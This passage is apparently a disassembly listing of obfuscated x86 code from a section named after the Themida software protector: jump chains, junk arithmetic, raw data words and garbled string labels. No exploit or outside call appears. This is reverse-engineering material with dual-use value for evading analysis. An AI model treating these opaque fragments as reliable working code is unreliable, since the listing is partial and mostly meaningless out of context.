		dd 4C4h, 34815500h, 0D3633324h,	0AEBBE976h, 0E0890000h
		dd 405h, 25E95500h, 51000069h, 0B9h, 0B2BB5300h, 8166AD57h
		dd 6014D6C3h, 7EBC1A1h,	57DBF74Bh, 0A66E76BFh, 0F7814F0Ah
		dd 439837E2h, 0CC07C781h, 0FB29084Bh, 0FFE1DBE9h, 240489FFh
		dd 405E089h, 83000000h,	0E95004E8h, 6325h, 0FF844EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55909D:				; CODE XREF: Themida_:0055CCB6j
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, 36996A3Bh
		add	eax, ecx
		sub	eax, 36996A3Bh
		pop	ecx
		push	5538h
		mov	[esp], esi
		jmp	loc_552D9A
; ---------------------------------------------------------------------------
		db 5Eh
		dd 6DC7C281h, 0E94A06D5h, 0FFFFDA5Ch, 4EA81h, 0FF520000h
		dd 5A042474h, 4825E9h, 0F6815800h, 615F363Bh, 502DF681h
		dd 0F2010B71h, 2414335Eh, 33241431h, 0D25C2414h, 0E99C243Ch
		dd 0FFFF83EBh, 0D224248Bh, 0E99C2404h, 0FFFF83DFh, 24048F54h
		dd 0FFF68AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559115:				; CODE XREF: Themida_:00562718j
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5521D0
; ---------------------------------------------------------------------------
		dw 0F829h
aVssL		db 'VSИ<╚',0
		dw 5200h
		dd 404C0BBAh, 5AD10924h, 5002E9C1h, 460FE9h, 4C38100h
		dd 81000000h, 4ECh, 177FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559152:				; CODE XREF: Themida_:005515C8j
		pop	ecx
		jmp	loc_55DE3C
; ---------------------------------------------------------------------------
		dd 2B9h, 14BA5200h, 0E964B357h,	0FFFFF5DDh
; ---------------------------------------------------------------------------

loc_559168:				; CODE XREF: Themida_:0055956Fj
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	5B07h
		jmp	loc_552491
; ---------------------------------------------------------------------------
		db 58h,	68h, 7
		dd 8900001Ch, 0E189240Ch, 0E904EC83h, 4331h
; ---------------------------------------------------------------------------

loc_559190:				; CODE XREF: Themida_:0055EDFAj
		push	eax
		push	ebp
		mov	ebp, edx
		mov	eax, ebp
		jmp	loc_556540
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 7C64E9h
		db 0
; ---------------------------------------------------------------------------

loc_5591A5:				; CODE XREF: Themida_:00559E28j
		mov	edx, 95481D62h
		sub	ecx, edx
		pop	edx
		jmp	loc_55240A
; ---------------------------------------------------------------------------
		dw 6853h
		dd 99F8A544h, 5BD9315Bh, 0C8BCF01h, 4C48124h, 56000000h
		dd 2BEh, 5EF72900h, 8C99E9h, 0E9850400h, 0A18Ch
; ---------------------------------------------------------------------------

loc_5591DC:				; CODE XREF: Themida_:005624BFj
		push	eax
		push	ebp
		mov	ebp, 41092B48h
		mov	eax, 5D5531C7h
		sub	eax, 2C353C64h
		sub	eax, ebp
		add	eax, 2C353C64h
		pop	ebp
		jmp	loc_55223F
; ---------------------------------------------------------------------------
word_5591FA	dw 34FFh		; DATA XREF: Themida_:00551400o
aYhqs		db '$YhОs',0
		dw 0E900h
		dd 0FFFFC337h
; ---------------------------------------------------------------------------

loc_559208:				; CODE XREF: Themida_:00551AD1j
		mov	edx, 3127425Eh
		xor	edx, 43878BDCh
		xor	ecx, edx
		jmp	loc_55793F
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 757102D3h, 0FFD994E9h, 48966FFh, 82BDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55922E:				; CODE XREF: Themida_:0055C624j
		xor	ebp, ebx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		add	edx, ebp
		jmp	loc_560FD0
; ---------------------------------------------------------------------------
		dw 315Dh
		dd 2434FFD8h, 0FFE10AE9h, 80CFFEFFh, 0C7FEE9EFh, 2836F780h
		dd 0E90FE9F8h, 0C4BAFFFFh, 292AF968h, 24148BD0h, 8B04C483h
		dd 0C481243Ch, 4, 0DCE6851h, 0C8B4D46h,	5D545524h, 19156857h
		dd 3EE90000h, 5A000081h, 62501B05h, 36BB5329h, 3116E921h
		dd 0E9D831C3h, 0FFFFD9C5h
; ---------------------------------------------------------------------------

loc_55929C:				; CODE XREF: Themida_:0056001Cj
		mov	esi, [esp]
		push	5B1Dh
		jmp	loc_557AC3
; ---------------------------------------------------------------------------

loc_5592A9:				; CODE XREF: Themida_:00563416j
		xor	edx, 327F5D0Eh
		not	edx
		xor	edx, 79FC846Fh
		sub	ebp, edx
		pop	edx
		shl	ebp, 7
		push	edi
		mov	edi, 1
		add	ebp, edi
		jmp	loc_554C92
; ---------------------------------------------------------------------------
		dw 1C89h
aPsup		db '$PИ⌠╞',0
		dw 0E900h
		dd 0FFFF8213h, 4C481h, 0D7010000h, 27DDE9h, 7FE95200h
		dd 1000079h, 240C8BCAh,	5704C483h, 2732AEBFh, 5FF80169h
		dd 8498E9h
		db 0
; ---------------------------------------------------------------------------

loc_559301:				; CODE XREF: Themida_:0055DECFj
		not	ecx
		shr	ecx, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4B717028h
		xor	ecx, edx
		jmp	loc_55A47F
; ---------------------------------------------------------------------------

loc_559318:				; CODE XREF: Themida_:00552070j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_555EFC
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5C24048Fh, 8904EC83h, 0E953240Ch, 0FFFF837Ch
; ---------------------------------------------------------------------------

loc_559334:				; CODE XREF: Themida_:005638C3j
		push	ebx
		mov	ebx, 0D9B432Ch
		add	ebx, 0F264BCD8h
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		jmp	loc_55DC49
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C240Ch, 750Ch
; ---------------------------------------------------------------------------

loc_559354:				; CODE XREF: Themida_:00555AA3j
		sub	esp, 4
		jmp	loc_561A36
; ---------------------------------------------------------------------------
		db 1
		dd 8CEE81EEh, 8154160Ah, 3F3DEFEEh, 2F8FE928h, 0C890000h
		dd 800BB124h, 0E9C001E9h, 69E18006h, 28D8E980h,	0B60F59CBh
		dd 8734FFC0h, 27AFE9h
		db 0
; ---------------------------------------------------------------------------

loc_559391:				; CODE XREF: Themida_:0056285Fj
		and	eax, ebp
		pop	ebp
		shr	eax, 8
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		jmp	loc_55C987
; ---------------------------------------------------------------------------
		dw 44E9h
		dd 54FFFF81h, 4B95158h,	1000000h, 240C8BC8h, 4C481h, 0B1E90000h
		dd 0C100000Eh, 814506E5h, 9F357CF5h, 81D5F716h,	96C2ADC5h
		dd 0E0B5E9D0h, 1489FFFFh, 0C2E95324h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5593DF:				; CODE XREF: Themida_:0055747Bj
		mov	esi, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		pop	eax
		push	2A8Fh
		mov	[esp], edx
		mov	edx, 7124528h
		shr	edx, 8
		jmp	loc_554EFF
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704E9h, 24895C24h, 24048124h, 4, 4C7815Fh, 0E9000000h
		dd 0FFFF89CBh
; ---------------------------------------------------------------------------

loc_559424:				; CODE XREF: Themida_:00557E23j
		xor	ebp, 38FD17A4h
		jmp	loc_5610A2
; ---------------------------------------------------------------------------
aZsW		db 'ZИ\W',0
		dd 0FEB900h, 0CE890000h, 1C772159h, 5624348Bh, 0C681E689h
		dd 4, 0E904EE83h, 3D46h, 0E97CEE80h, 0D682h, 0E689565Ah
		dd 6CECE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559466:				; CODE XREF: Themida_:00558A90j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	7F03h
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5552E2
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 22FC03A2h, 2B1AEF81h, 0F7810502h, 1B419D40h,	55FF829h
		dd 0E003206h, 2F2FD02Dh, 5D8290Ch, 0C2F2FD0h, 1E576851h
		dd 81596B43h, 830AD2F1h, 7FE9810Ah, 2953BFE2h, 2AE959C8h
		dd 30FFFFE1h, 8E8EE9FAh, 0D8280000h, 4EC835Bh, 0FFE150E9h
		dd 243C87FFh, 243C895Ch, 43D6BA52h, 0B9515C6Ch,	17B67433h
		dd 38C4F181h, 0E9811FACh, 0FFFFFFFFh, 0C797E9h,	0B2525300h
		dd 5AD3884Ch, 0FE05EBC0h, 3E3C0C3h, 0FABE9h
		db 0
; ---------------------------------------------------------------------------

loc_559511:				; CODE XREF: Themida_:00564077j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55FE46
; ---------------------------------------------------------------------------

loc_55951C:				; CODE XREF: Themida_:00554989j
		push	78E0250Ch
		pop	edx
		dec	edx
		or	edx, 65BC22DFh
		xor	edx, 4A16912Bh
		mov	ebx, edx
		jmp	loc_55461A
; ---------------------------------------------------------------------------
aIssK		db 'ISИ<┼',0
		dd 662ABF00h, 0F8012E14h, 5E505E5Fh, 29D7E9h, 5D5A5500h
		dd 7559BF57h, 0FFE95D9Ah
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55955B:				; CODE XREF: Themida_:00555121j
		mov	eax, 67C816FEh
		sub	ecx, eax
		pop	eax
		sub	ecx, 321C0008h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_559168
; ---------------------------------------------------------------------------
		dd 582404FFh, 5505E8C1h, 0FFF709E9h, 0F7DFF7FFh, 7E7C1D7h
		dd 8184C781h, 0F3E9A79Dh
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559593:				; CODE XREF: Themida_:0055A197j
		push	44A825AAh
		pop	ebp
		add	ebp, 0B383C91Dh
		add	edx, 3B6D3423h
		add	edx, ebp
		sub	edx, 3B6D3423h
		pop	ebp
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55EF25
; ---------------------------------------------------------------------------
aZbUSs6		db 9,'уZ│е',0Dh,'\⌠ж)ХИ#6',0
		dd 243C8B00h, 0E9E38953h, 2A84h, 0E9555159h, 6B63h
; ---------------------------------------------------------------------------

loc_5595DC:				; CODE XREF: Themida_:005558C3j
		add	ecx, ebp
		add	ecx, 430735A9h
		pop	ebp
		add	ecx, 4
		jmp	loc_5543A8
; ---------------------------------------------------------------------------
byte_5595ED	db 64h,	8Fh, 2		; DATA XREF: Themida_:00551248o
		dd 0FF7EF6E9h, 4BDFFh, 6C010000h, 0E95D0424h, 0D41Ah, 4C481h
		dd 16E90000h, 2D000072h, 3995929h, 0E958C701h, 85Ah, 5C243487h
		dd 31241433h, 14332414h, 24248B24h, 484CE956h, 4810000h
		dd 424h, 0C3815B00h, 4,	8704C383h, 525C241Ch, 24148B54h
		dd 5BD3E952h, 0F8000000h, 88BB345Bh, 3FCBE9C1h,	8B580000h
		dd 76E92434h, 590000BEh, 59A668h, 24048900h, 52F7E9h, 2985BF00h
		dd 0D7F71A2Ch, 3EE9D7F7h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559683:				; CODE XREF: Themida_:00565D33j
		add	eax, 4
		jmp	loc_55C183
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 8Eh
		dd 2972014Fh, 0FE685EF3h, 89000056h, 11E92414h,	810000ADh
		dd 467020C1h, 24148B57h, 4EC81h, 20E90000h, 87000062h
		dd 8F5C2414h, 665C2404h, 0E99CC885h, 0FFFF7E23h, 0BE9E589h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5596CF:				; CODE XREF: Themida_:0055996Dj
		mov	ebp, 47F60125h
		not	ebp
		add	ebp, 0FB0304A2h
		jmp	loc_5627A1
; ---------------------------------------------------------------------------

loc_5596E1:				; CODE XREF: Themida_:0055D6F9j
		sub	esi, 4
		jmp	loc_55A5BD
; ---------------------------------------------------------------------------

loc_5596EC:				; CODE XREF: Themida_:0055AC7Dj
		push	60CD6DEBh
		pop	eax
		not	eax
		push	edx
		mov	edx, 39395189h
		or	edx, 6E1180Ah
		shl	edx, 2
		xor	edx, 0B3EB0D94h
		jmp	loc_5635E8
; ---------------------------------------------------------------------------
word_55970E	dw 6855h		; DATA XREF: Themida_:005512ACo
		dd 10C0322Ah, 0E957515Dh, 0C91h, 265FE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559722:				; CODE XREF: Themida_:0055F66Ej
		xor	edi, 6685FA8h
		xor	esi, edi
		pop	edi
		pop	edi
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		push	ecx
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, eax
		jmp	loc_556A6A
; ---------------------------------------------------------------------------
aLSB		db '▀,$И/b',0
		align 2
		dw 5D66h
		dd 59CF0166h, 0FFA01CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559761:				; CODE XREF: Themida_:005574C2j
		xchg	edi, [esp]
		pop	esp
		sub	[esp+4], ebx
		jmp	loc_55E6BB
; ---------------------------------------------------------------------------

loc_55976E:				; CODE XREF: Themida_:00556DD1j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_555F75
; ---------------------------------------------------------------------------
		dd 2414895Ch, 31AC68h, 24048900h, 22F8E9h
		db 0
byte_55978D	db 64h,	0FFh, 32h	; DATA XREF: Themida_:005513A4o
		dd 91D5E9h
		db 0
; ---------------------------------------------------------------------------

loc_559795:				; CODE XREF: Themida_:00553392j
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_566162
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0B1E9D787h
		db 0A4h, 2 dup(0FFh)
byte_5597BF	db 66h			; DATA XREF: Themida_:00551244o
		dd 50240C8Bh, 6D4E68h, 4EC8100h, 54000000h, 8124048Fh
		dd 42404h, 9EE90000h, 42000043h, 1C3CF281h, 0C28111A6h
		dd 0C82A20E4h, 0E95AD601h, 0FFFFA80Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5564CB
; ---------------------------------------------------------------------------

loc_559808:				; CODE XREF: Themida_:00558037j
		pop	edi
		push	ebp
		jmp	loc_55631A
; ---------------------------------------------------------------------------

loc_55980F:				; CODE XREF: Themida_:0055E1FCj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	53F40111h
		pop	esi
		push	edi
		push	ebp
		mov	ebp, 30877799h
		jmp	loc_55FE0C
; ---------------------------------------------------------------------------

loc_55984E:				; CODE XREF: Themida_:0055CD3Bj
		xor	dword ptr [esp], 0E32EBBh
		pop	dword ptr [edi+20h]
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 167342A4h
		push	edx
		mov	edx, esi
		jmp	loc_5638A8
; ---------------------------------------------------------------------------

loc_55986F:				; CODE XREF: Themida_:00560811j
		sub	ecx, 60A33B0h
		push	ebx
		jmp	loc_55F78A
; ---------------------------------------------------------------------------
		db 59h
		dd 0E9C0B60Fh, 0A9C9h
; ---------------------------------------------------------------------------

loc_559884:				; CODE XREF: Themida_:00552650j
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_553FF1
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	37F5h
		mov	[esp], esi
		push	esp
		pop	esi
		push	123Eh
		mov	[esp], ebp
		mov	ebp, 57005145h
		push	ebp
		xchg	ecx, [esp]
		inc	ecx
		jmp	loc_555EB1
; ---------------------------------------------------------------------------

loc_5598C3:				; CODE XREF: Themida_:0055A5DBj
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		xor	edi, ecx
		xor	ecx, edi
		xor	edi, ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	12A0h
		mov	[esp], edi
		push	ecx
		mov	edi, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_5609D4
; ---------------------------------------------------------------------------

loc_5598EE:				; CODE XREF: Themida_:00565A83j
		mov	esi, 1
		jmp	loc_562639
; ---------------------------------------------------------------------------

loc_5598F8:				; CODE XREF: Themida_:00552DE2j
		add	esi, 4
		push	2DEAh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_555305
; ---------------------------------------------------------------------------

loc_559917:				; CODE XREF: Themida_:00553917j
		mov	ebp, ecx
		jmp	loc_565C10
; ---------------------------------------------------------------------------
		dw 53BAh
		dd 1D51F17h, 0C28158C2h, 0B7C6DF81h, 4237C681h,	0C6817311h
		dd 690D4592h, 3A41C681h, 0D60157E8h, 3A41EE81h,	0EE8157E8h
		dd 690D4592h, 7861BF57h, 0EF814BEAh, 0D8D9362Ah, 5A5FFE29h
		dd 718B68h, 240C8900h, 0FFF7EFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559969:				; CODE XREF: Themida_:0056242Dj
		sub	edi, ecx
		pop	ecx
		push	ebp
		jmp	loc_5596CF
; ---------------------------------------------------------------------------
aMrOaDS@	db 'MR╨OA=d',9,'уИ@}',0
		align 10h
		dd 6804C483h, 532Ch, 68242C89h,	1FFh, 68243C89h, 7A6979EFh
		dd 81D7F75Fh, 9399B9C7h, 2C8B57F9h, 4C48124h, 8B000000h
		dd 0C481243Ch, 4, 0FFF92CE9h, 575D54FFh, 4BFh, 5FFD0100h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_565438
; ---------------------------------------------------------------------------
		dd 0BBEA80h, 3E95AD3h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5599D7:				; CODE XREF: Themida_:00560947j
		mov	[esp], ebx
		pop	edx
		jmp	loc_55EAB2
; ---------------------------------------------------------------------------
		dd 241CF753h, 0AFF3815Bh, 8186F8B7h, 0A955E9E9h, 81D9297Eh
		dd 0A955E9C1h, 0E1815B7Eh, 456F00B5h, 0FFF0C181h, 52E9BBB8h
		dd 8B00009Dh, 1AE9240Ch, 81000077h, 42404h, 555E0000h
		dd 4BDh, 0EEE8100h, 0E94E3805h,	0FFFFE204h, 0E924048Bh
		dd 0FFFFE414h, 1FCFE581h, 0E5C1512Bh, 0C2E58105h, 563F4F25h
		dd 0A25972BEh, 0A1E9570Fh
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559A4F:				; CODE XREF: Themida_:00565B5Ej
		mov	eax, 4E62091Ch
		inc	eax
		xor	eax, 49CF4063h
		shr	eax, 6
		and	eax, 17DC439Ch
		sub	eax, 2036018Ch
		jmp	loc_55FE86
; ---------------------------------------------------------------------------

loc_559A6C:				; CODE XREF: Themida_:00563D03j
		xor	ch, 6Ch
		mov	dl, ch
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_564147
; ---------------------------------------------------------------------------
		dd 4BAh, 5AD10100h, 0A511E950h,	0FA880000h, 0D0F7E95Bh
		dd 0F3810000h, 229810D4h, 815BDE01h, 4EEh, 24348700h, 242C895Ch
		dd 4BE56h, 0F5890000h, 0BAC3815Eh, 1489D01h, 0CDC0E9EBh
		dd 152DFFFFh, 2D54BA1Dh, 0A9A4DF77h, 69A36855h,	2C8B07A7h
		dd 4C48324h, 0FFFFBF57h, 0FD01FFFFh, 4EDC15Fh, 5471ED81h
		dd 0E94D2F8Fh, 0FFFFCA92h, 52E38953h, 2C394BBAh, 0F9B8506Bh
		dd 0F749893Dh, 1C8D25D0h, 0C9E95C6Dh
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559B0B:				; CODE XREF: Themida_:00564142j
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, ebx
		add	esi, 0F96187Dh
		jmp	loc_565D28
; ---------------------------------------------------------------------------
		dw 3D2Dh
		dd 5F24B717h, 0EC81D801h, 4, 0BD242C89h, 653505B4h, 9AE9E829h
		dd 0C0FFFF9Ch, 0B45002EFh, 80C4FEB2h, 0E4C098E4h, 96CC8008h
		dd 190BE9h, 4C48100h, 83000000h, 2C8904ECh, 9691E924h
		dd 8359FFFFh, 348704C4h, 4AE95C24h, 81FFFFCFh, 315E96F1h
		dd 0AF73E954h, 0D830FFFFh
off_559B7C	dd offset loc_41C868	; DATA XREF: Themida_:0053FC64o
		dd 241C8900h, 346FE9h, 24348900h, 5896BD55h, 0C5814488h
		dd 0C990695h, 4E5C14Dh,	3F85ED81h, 70E92B4Bh, 8B000056h
		dd 0E5E92414h, 680000ACh, 4FD4h, 7EAFE9h
		db 0
; ---------------------------------------------------------------------------

loc_559BB9:				; CODE XREF: Themida_:00556BE0j
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	esi, 6BD014D1h
		and	esi, 28C47FABh
		xor	esi, 0D0278841h
		mov	edi, esi
		pop	esi
		add	edi, ecx
		pop	ecx
		sub	eax, 7B770BCAh
		add	eax, edi
		jmp	loc_5549C4
; ---------------------------------------------------------------------------
		db 81h
		dd 0C51934C7h, 24616816h, 0C890000h, 4FE2B924h,	0CF295C1Dh
		dd 83240C8Bh, 0BE5604C4h, 17BE63B1h, 13E9F701h,	0BFFFFF79h
		dd 11A9239Bh, 0FFBC28E9h, 69A5BAFFh, 0C2810049h, 16A84B48h
		dd 33BBCA81h, 0F2814CADh, 384B4DDBh, 3822C281h,	0D501BBA8h
		dd 9C84E95Ah, 3DBD0000h, 0C140E263h, 0ED8103E5h, 0C56F13A1h
		dd 89D5E9h, 24248900h, 4B951h, 4C010000h, 0E9590424h, 0CB91h
		dd 0F7006EB6h, 0EF805A66h, 80EF2888h, 0EF8088C7h, 0BF5BE96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559C86:				; CODE XREF: Themida_:00554D98j
		add	eax, 4
		push	esi
		mov	esi, 1967267Bh
		or	esi, 26E131ACh
		add	esi, 1B951596h
		dec	esi
		or	esi, 342C50B6h
		jmp	loc_55FC37
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 3B51C104h, 24440119h, 98E95204h, 31000071h, 0C33240Ch
		dd 240C3124h, 0D2F7D187h, 0C87D187h, 24048B24h,	4C481h
		dd 85E90000h, 5C000010h, 68243C89h, 1C687E77h, 0E9243C8Bh
		dd 0FFFFFAC6h, 7CE0C681h, 0EE835FBEh, 1E06E901h, 5F540000h
		dd 4C781h, 0CDE90000h, 5A0000ABh, 0EA314D5Dh, 0FF7CA1E9h
		dd 8B665CFFh, 89532404h, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 88DDE95Ch, 335E0000h, 0C31240Ch, 240C3324h, 0BB0F665Ch
		dd 0E99C2404h, 1826h
; ---------------------------------------------------------------------------

loc_559D44:				; CODE XREF: Themida_:00566672j
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	357Ah
		jmp	loc_55F2C7
; ---------------------------------------------------------------------------
		db 54h
		dd 8B54555Fh, 0C9E9242Ch
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559D67:				; CODE XREF: Themida_:00560612j
		sub	dword ptr [esp], 26694A52h
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 13C447EAh
		add	eax, 26347A5Bh
		xor	eax, 4B181685h
		xor	eax, 11960CA5h
		jmp	loc_55A864
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0DAF8E572h, 15AD529h, 0B9515DEAh, 4,	0CFF2E9h, 53E18900h
		dd 2B043BBBh, 15E94B66h, 51000024h, 0F82B3BB9h,	59C80139h
		dd 3B2DE801h, 5D39F82Bh, 0FBE95350h, 81000030h,	0A5035EEBh
		dd 81EB2951h, 0A5035EC3h, 2434FF51h
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55B9C2
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 24248B24h, 0E9028864h, 0FFFFAC64h, 4E68555Ah, 89000008h
		dd 0D9E9243Ch, 1000082h, 0FF515AD1h, 8B042474h,	1CE9240Ch
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559E1F:				; CODE XREF: Themida_:0055EEC5j
		mov	esi, 2EA65411h
		add	ecx, esi
		pop	esi
		push	edx
		jmp	loc_5591A5
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 43h
		dd 5405F381h, 34E963C5h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559E3B:				; CODE XREF: Themida_:00560F27j
		xor	esi, eax
		pop	eax
		mov	ebp, esi
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55AEDB
; ---------------------------------------------------------------------------

loc_559E4D:				; CODE XREF: Themida_:0055FEB1j
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	edi, 5CE2118Bh
		jmp	loc_565427
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4, 5C243C87h, 57241C89h, 83241C8Bh, 0B8E904C4h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559E8F:				; CODE XREF: Themida_:00555092j
		xchg	eax, ecx
		shl	ecx, 1
		xor	ecx, 4779FCDBh
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		xchg	esi, [esp]
		jmp	loc_558400
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 81h
		dd 5634F2E6h, 87DEF74Eh, 87D5F7EEh, 5F681EEh, 5312DE3Eh
		dd 0DC5FFCBBh, 0CF99E949h, 0E956FFFFh, 3439h, 0FF7616E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559ED5:				; CODE XREF: Themida_:00553EF1j
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 55048E0h
		sub	esi, 76AB390Dh
		sub	esi, 8EA50FCFh
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_555223
; ---------------------------------------------------------------------------
aCaTUAussI	db '╤Г─нБюН',7,'─НАИ ╗',0
		align 4
		dd 6BA8EB81h, 0C3017035h, 32CEE9h, 0BD555000h, 2A93018h
		dd 86F7C8B8h, 0E9E8012Ch, 0FFFFACCDh, 0E9241C87h, 32D3h
		dd 4C481h, 46E90000h
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559F37:				; CODE XREF: Themida_:00558466j
		pop	esp
		jmp	loc_551923
; ---------------------------------------------------------------------------

loc_559F3D:				; CODE XREF: Themida_:0055D195j
		mov	ecx, 326C1703h
		jmp	loc_558108
; ---------------------------------------------------------------------------

loc_559F47:				; CODE XREF: Themida_:00557734j
		push	eax
		mov	eax, 1F687710h
		xor	eax, 40F51F51h
		mov	ebx, eax
		pop	eax
		jmp	loc_553E44
; ---------------------------------------------------------------------------

loc_559F5A:				; CODE XREF: Themida_:00557E97j
		pop	esp
		mov	[esp], edx
		push	ebx
		jmp	loc_552C54
; ---------------------------------------------------------------------------

loc_559F64:				; CODE XREF: Themida_:0056295Ej
		pop	ebp
		or	eax, eax
		jnz	loc_5588E7
		push	esi
		mov	esi, 452124B8h
		push	eax
		push	ebp
		mov	ebp, 72B9600Fh
		mov	eax, 72B9600Eh
		xor	eax, ebp
		pop	ebp
		jmp	loc_5619CC
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF7D8DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559F8D:				; CODE XREF: Themida_:0055D80Aj
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		push	esp
		jmp	loc_555244
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 53h
		dd 29033B66h, 53E981F9h, 5F033B66h, 0F43DB1BAh,	59CA3152h
		dd 0C105E2C1h, 0E2C106E2h, 14F75204h, 2C685A24h, 8900007Eh
		dd 44BE2434h, 4E26863Bh, 0E9D6F746h, 0FFFFE50Eh, 4055859h
		dd 2D000000h, 4, 5C240487h, 0FF9A60E9h,	8EEC1FFh, 2238F681h
		dd 0F7564918h, 815E2414h, 4ECh,	24148900h, 0B79F63BAh
		dd 0E9D631D7h, 0FFFFFB97h
; ---------------------------------------------------------------------------

loc_55A010:				; CODE XREF: Themida_:0055EDCCj
		mov	edx, 6700542Ch
		inc	edx
		push	eax
		mov	eax, 1B58102Eh
		shl	eax, 3
		shl	eax, 1
		jmp	loc_558330
; ---------------------------------------------------------------------------

loc_55A026:				; CODE XREF: Themida_:0055C2AEj
		mov	eax, 642027C3h
		sub	eax, 2239377Fh
		jmp	loc_55F2EE
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 5
		dd 0D8C5814Dh, 291A178Fh, 0D9E95DEBh, 6600004Ch, 2859B753h
